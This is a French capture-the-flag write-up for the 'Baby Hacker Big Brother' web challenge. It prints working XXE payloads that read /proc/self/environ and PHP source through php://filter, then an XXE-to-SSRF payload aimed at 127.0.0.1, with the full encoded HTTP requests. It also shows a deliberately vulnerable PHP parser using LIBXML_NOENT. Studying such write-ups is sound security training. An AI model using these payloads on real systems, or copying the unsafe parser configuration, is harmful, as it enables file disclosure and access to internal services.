CAF 2023 - Baby Hacker Big Brother
Dans cet article, nous allons explorer le dĂ©roulement pas Ă pas (walkthrough) du challenge Web âBaby Hacker Big Brotherâ proposĂ© lors du CTF Cyber Africa Forum 2023.
Lorsque nous nous rendons sur la page web du challenge, nous obtenons ce rendu:
Nous avons un formulaire pour créer un compte sur le site web.
Je dĂ©cide dâouvrir Burp Suite pour voir comment est implĂ©mentĂ©e lâenvoi des donnĂ©es au serveur:
GET /generate.php?input=PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48aW5wdXQ%2BPGZpcnN0TmFtZT5WYWxlbnRpbiBMb2JzdGVpbjwvZmlyc3ROYW1lPjxsYXN0TmFtZT5iaWRvbkBqZXNhaXNwYXMuY29tPC9sYXN0TmFtZT48L2lucHV0Pg%3D%3D HTTP/1.1
Host: 51.178.18.146:40000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://51.178.18.146:40000/chall2_086ecf773bbd273e9005d731f743df5a/
Upgrade-Insecure-Requests: 1
On voit que la donnĂ©e du forumaire est envoyĂ©e via une requĂȘte GET qui singifie dĂ©jĂ que la requĂȘte nâest pas envoyĂ©e de maniĂšre sĂ©curisĂ©e, de plus le chemin du fichier generate.php
est faux , puisque le vrai chemin de celui ci est /chall2_086ecf773bbd273e9005d731f743df5a/generate.php
.
En décodant le contenu du paramÚtre input
en base64 nous obtenons ceci:
<?xml version='1.0' encoding='UTF-8'?>
<input>
<firstName>Valentin Lobstein</firstName>
<lastName>bidon@jesaispas.com</lastName>
</input>
Il sâagit dâun contenu XML, la premiĂšre piste que jâai explorĂ©e est la falle XXE (Xml eXternal Entities).
Quâest ce quâune faille XXE ?
Une attaque XXE (XML External Entity) est une technique dâattaque de sĂ©curitĂ© courante utilisĂ©e contre les applications Web qui analysent les fichiers XML. Lâattaque consiste Ă insĂ©rer des entitĂ©s XML malveillantes dans les donnĂ©es dâentrĂ©e XML, qui sont ensuite analysĂ©es par lâapplication Web. Lâobjectif de lâattaque est de permettre Ă un attaquant de lire des fichiers arbitraires sur le serveur ou dâexĂ©cuter du code malveillant Ă distance.
Voici le premier payload que jâai tentĂ© pour exploiter cette faille:
<!DOCTYPE replace [
<!ENTITY xxe SYSTEM "file:///proc/self/environ">
]>
<input>
<firstName>&xxe;</firstName>
<lastName>aa</lastName>
</input>
EncodĂ© en base64 puis en URL encode jâenvoie cette requĂȘte au serveur :
GET /chall2_086ecf773bbd273e9005d731f743df5a/generate.php?input=%50%43%46%45%54%30%4e%55%57%56%42%46%49%48%4a%6c%63%47%78%68%59%32%55%67%57%77%6f%67%49%43%41%67%50%43%46%46%54%6c%52%4a%56%46%6b%67%65%48%68%6c%49%46%4e%5a%55%31%52%46%54%53%41%69%5a%6d%6c%73%5a%54%6f%76%4c%79%39%77%63%6d%39%6a%4c%33%4e%6c%62%47%59%76%5a%57%35%32%61%58%4a%76%62%69%49%2b%43%6c%30%2b%43%6a%78%70%62%6e%42%31%64%44%34%4b%49%43%41%67%49%44%78%6d%61%58%4a%7a%64%45%35%68%62%57%55%2b%4a%6e%68%34%5a%54%73%38%4c%32%5a%70%63%6e%4e%30%54%6d%46%74%5a%54%34%4b%49%43%41%67%49%44%78%73%59%58%4e%30%54%6d%46%74%5a%54%35%68%59%54%77%76%62%47%46%7a%64%45%35%68%62%57%55%2b%43%6a%77%76%61%57%35%77%64%58%51%2b HTTP/1.1
Host: 51.178.18.146:40000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://51.178.18.146:40000/chall2_086ecf773bbd273e9005d731f743df5a/
Upgrade-Insecure-Requests: 1
Voici le rĂ©sultat que jâobtiens:
Nous avons rĂ©ussi Ă gĂ©nĂ©rer une erreur au moment oĂč le serveur parse le XML qui nous permet dâobtenir le rĂ©pertoire absolu oĂč sont stockĂ©s les fichiers php du serveur web /var/www/html
.
Le but ici maintenant est de pouvoir récupérer le code source de la page generate.php
pour obtenir plus dâinformations sur le fonctionnement de cette page.
Voici le payload que jâai utilisĂ© pour rĂ©aliser cette tĂąche:
<!DOCTYPE replace [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/generate.php">
]>
<input>
<firstName>&xxe;</firstName>
<lastName>aa</lastName>
</input>
Le but ici est dâutiliser le wrapper php://filter
pour encoder en base64 le contenu du fichier generate.php
afin quâil ne soit pas executĂ© en tant que php sur la page, et donc que le code source php soit visible pour nous.
Voici la requĂȘte complĂšte:
GET /chall2_086ecf773bbd273e9005d731f743df5a/generate.php?input=%50%43%46%45%54%30%4e%55%57%56%42%46%49%48%4a%6c%63%47%78%68%59%32%55%67%57%77%6f%67%49%43%41%67%50%43%46%46%54%6c%52%4a%56%46%6b%67%65%48%68%6c%49%46%4e%5a%55%31%52%46%54%53%41%69%63%47%68%77%4f%69%38%76%5a%6d%6c%73%64%47%56%79%4c%33%4a%6c%59%57%51%39%59%32%39%75%64%6d%56%79%64%43%35%69%59%58%4e%6c%4e%6a%51%74%5a%57%35%6a%62%32%52%6c%4c%33%4a%6c%63%32%39%31%63%6d%4e%6c%50%53%39%32%59%58%49%76%64%33%64%33%4c%32%68%30%62%57%77%76%5a%32%56%75%5a%58%4a%68%64%47%55%75%63%47%68%77%49%6a%34%4b%58%54%34%4b%50%47%6c%75%63%48%56%30%50%67%6f%67%49%43%41%67%50%47%5a%70%63%6e%4e%30%54%6d%46%74%5a%54%34%6d%65%48%68%6c%4f%7a%77%76%5a%6d%6c%79%63%33%52%4f%59%57%31%6c%50%67%6f%67%49%43%41%67%50%47%78%68%63%33%52%4f%59%57%31%6c%50%6d%46%68%50%43%39%73%59%58%4e%30%54%6d%46%74%5a%54%34%4b%50%43%39%70%62%6e%42%31%64%44%34%3d HTTP/1.1
Host: 51.178.18.146:40000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://51.178.18.146:40000/chall2_086ecf773bbd273e9005d731f743df5a/
Upgrade-Insecure-Requests: 1
Et voici le code source php de la page generate.php
une fois décodée en clair:
<?php
$whitelist = array(
'127.0.0.1',
'::1'
);
// if this page is accessed from the web server, the flag is returned
// flag is in env variable to avoid people using XXE to read the flag
// REMOTE_ADDR field is able to be spoofed (unless you already are on the server)
if(in_array($_SERVER['REMOTE_ADDR'], $whitelist)){
echo $_ENV["FLAG"];
return;
}
// make sure the input parameter exists
if (empty($_GET["input"])) {
echo "Please include the 'input' get parameter with your request, Buddy";
return;
}
// get input
$xmlData = base64_decode($_GET["input"]);
// parse xml
$xml=simplexml_load_string($xmlData, null, LIBXML_NOENT) or die("Error parsing XML: "."\n".$xmlData);
$firstName = $xml->firstName;
$lastName = $xml->lastName;
// generate username
$nouns = array("breakroot", "sec042", "Stalhacker", "Coder08", "Hacker", "jhokkha", "illution", "maskbreak", "serialboy", "victorians", "mrrobot", "HunterX", "Brutelfine", "hoopssec", "littledocker");
$noun = $nouns[array_rand($nouns)];
$generatedName = $firstName.' "The '.$noun.'" '.$lastName;
// return html for the results page
echo <<<EOT
<!DOCTYPE html>
<html lang="en">
<head>
<title>Fault System Generator</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script>
</head>
<body>
<div class="jumbotron text-center">
<h1>Your ID Name Is:</h1>
<h2>$generatedName</h2>
<a href="/">Go Back</a>
</div>
</body>
</html>
EOT;
?>
Une partie est extrĂšmement intĂ©ressante ici, il sâagit de cette partie du code :
<?php
$whitelist = array(
'127.0.0.1',
'::1'
);
// if this page is accessed from the web server, the flag is returned
// flag is in env variable to avoid people using XXE to read the flag
// REMOTE_ADDR field is able to be spoofed (unless you already are on the server)
if(in_array($_SERVER['REMOTE_ADDR'], $whitelist)){
echo $_ENV["FLAG"];
return;
}
-
Ce code PHP dĂ©finit une liste blanche dâadresses IP, stockĂ©es dans un tableau appelĂ©
$whitelist
. Ensuite, le code vĂ©rifie si lâadresse IP de lâutilisateur qui accĂšde Ă la page est prĂ©sente dans le tableau$whitelist
. Si lâadresse IP de lâutilisateur est incluse dans la liste blanche, la page renvoie la valeur de la variable dâenvironnement$FLAG
. Cette variable est utilisĂ©e pour stocker une valeur secrĂšte qui doit ĂȘtre gardĂ©e confidentielle. -
Le but de ce code est de limiter lâaccĂšs Ă la valeur de la variable dâenvironnement
$FLAG
Ă une liste spĂ©cifique dâadresses IP approuvĂ©es. En effet, cette variable contient une information sensible que lâon ne veut pas rendre accessible au public. Cette technique est utilisĂ©e pour Ă©viter que des attaquants puissent lire la valeur de la variable$FLAG
en exploitant une vulnérabilité XXE, comme dans les exemples XML que nous avons vus précédemment. -
En vĂ©rifiant lâadresse IP de lâutilisateur qui accĂšde Ă la page, le code PHP tente de sâassurer que lâutilisateur est bien autorisĂ© Ă accĂ©der Ă la valeur de la variable
$FLAG
. Cependant, il convient de noter que lâadresse IP peut ĂȘtre facilement spoofĂ©e ou falsifiĂ©e.
Le seul moyen que nous avons pour contourner cette mesure de sécurité est de créer une SSRF depuis la faille XXE que nous avons déjà exploitée auparavant.
Quâest ce quâune faille SSRF ?
Une SSRF (Server-Side Request Forgery) est une vulnĂ©rabilitĂ© de sĂ©curitĂ© courante qui peut survenir lorsque des entrĂ©es utilisateur non validĂ©es sont utilisĂ©es pour effectuer des requĂȘtes HTTP depuis le serveur vers des ressources externes, telles que des sites Web, des systĂšmes de fichiers ou des services Web. Les attaquants peuvent exploiter cette vulnĂ©rabilitĂ© pour envoyer des requĂȘtes Ă des ressources internes qui ne devraient pas ĂȘtre accessibles Ă partir du serveur, ou pour effectuer des attaques en rebondissant Ă partir de ressources internes vers des cibles externes.
Nous avons trois informations importantes:
-
Le fichier
generate.php
est placé dans le répertoire/var/www/html
. -
Lâadresse IP whitelistĂ©e est
127.0.0.1
. -
Le flag est affichĂ© via la variable dâenvironnement
$FLAG
depuisgenerate.php
.
Ă lâaide de ces informations nous pouvons enfin crĂ©er le dernier payload:
<!DOCTYPE replace [
<!ENTITY xxe SYSTEM "http://127.0.0.1/generate.php">
]>
<input>
<firstName>&xxe;</firstName>
<lastName>aa</lastName>
</input>
La requĂȘte complĂšte est donc celle ci:
GET /chall2_086ecf773bbd273e9005d731f743df5a/generate.php?input=%50%43%46%45%54%30%4e%55%57%56%42%46%49%48%4a%6c%63%47%78%68%59%32%55%67%57%77%6f%67%49%43%41%67%50%43%46%46%54%6c%52%4a%56%46%6b%67%65%48%68%6c%49%46%4e%5a%55%31%52%46%54%53%41%69%61%48%52%30%63%44%6f%76%4c%7a%45%79%4e%79%34%77%4c%6a%41%75%4d%53%39%6e%5a%57%35%6c%63%6d%46%30%5a%53%35%77%61%48%41%69%50%67%70%64%50%67%6f%38%61%57%35%77%64%58%51%2b%43%69%41%67%49%43%41%38%5a%6d%6c%79%63%33%52%4f%59%57%31%6c%50%69%5a%34%65%47%55%37%50%43%39%6d%61%58%4a%7a%64%45%35%68%62%57%55%2b%43%69%41%67%49%43%41%38%62%47%46%7a%64%45%35%68%62%57%55%2b%59%57%45%38%4c%32%78%68%63%33%52%4f%59%57%31%6c%50%67%6f%38%4c%32%6c%75%63%48%56%30%50%67%6f%3d HTTP/1.1
Host: 51.178.18.146:40000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://51.178.18.146:40000/chall2_086ecf773bbd273e9005d731f743df5a/
Upgrade-Insecure-Requests: 1
Et voici la réponse du serveur :
Flag: CAF_{never_gonna_give_you_up_so_congratulations}